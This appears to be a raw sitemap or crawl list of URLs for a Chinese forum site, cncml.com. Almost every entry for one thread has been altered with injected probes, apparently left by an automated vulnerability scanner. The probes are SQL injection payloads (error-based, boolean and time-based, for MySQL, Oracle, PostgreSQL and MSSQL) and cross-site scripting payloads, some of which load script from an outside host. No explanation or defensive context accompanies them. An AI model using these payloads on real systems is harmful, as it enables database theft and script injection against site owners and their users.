http://www.cncml.com/forum.php?mod=viewthread&tid=218 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=218#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=218&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=218&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=219 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=219#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=219&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=219&from=album 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=219&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=22#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=220 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=220#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=220&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=220&from=album 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=220&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=222#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224 0.0006 http://www.cncml.com/forum.php?mod=viewthread&tid=224!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224#lastpost 0.0003 http://www.cncml.com/forum.php?mod=viewthread&tid=224%00' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND%2013=43 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND%2021=64 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=13)%20THEN%20224%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=61)%20THEN%20224%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%22%20AND%20%22Pc%22=%22iY 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%22)%20AND%2025=39%20AND%20(%22Gj%22=%22Gj 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25%22%29%20AND%2015%3D49%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25%27%29%20AND%2029%3D29%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25%27%29%20AND%2093%3D31%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25'%20AND%2022=87%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25'%20AND%2064=64%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(38=38)%20THEN%20224%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(49=58)%20THEN%20224%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%2527 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%5B%5D 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%5C%22 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%5C' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224%bf%27 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224&&&&&&&&&&&&&&&&&&& 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND%20'5G'%20LIKE%20'9F 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND%20'OA'='5g 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND%20'nh'='nh 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND%20'pL'%20LIKE%20'pL 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(52=52)%20THEN%20224%20ELSE%200x28%20END))%20AND%20'8o'='8o 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(52=58)%20THEN%20224%20ELSE%200x28%20END))%20AND%20'OQ'='OQ 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%22 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20AND%20('Ri'%20LIKE%20'W6 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20AND%20('SP'%20LIKE%20'SP 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20AND%2046=46%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20AND%2081=91%20AND%20('fj'='fj 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20OR%2016=16%20AND%20('4x'='4x 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=11)%20THEN%20224%20ELSE%200x28%20END))%20AND%20('rr'='rr 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(72=72)%20THEN%20224%20ELSE%200x28%20END))%20AND%20('XX'='XX 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224)%20AND%2017=17%20AND%20(17=17 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224)%20AND%2031=44%20AND%20(31=31 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(12=85)%20THEN%20224%20ELSE%200x28%20END))%20AND%20(12=12 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%20224%20ELSE%200x28%20END))%20AND%20(53=53 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 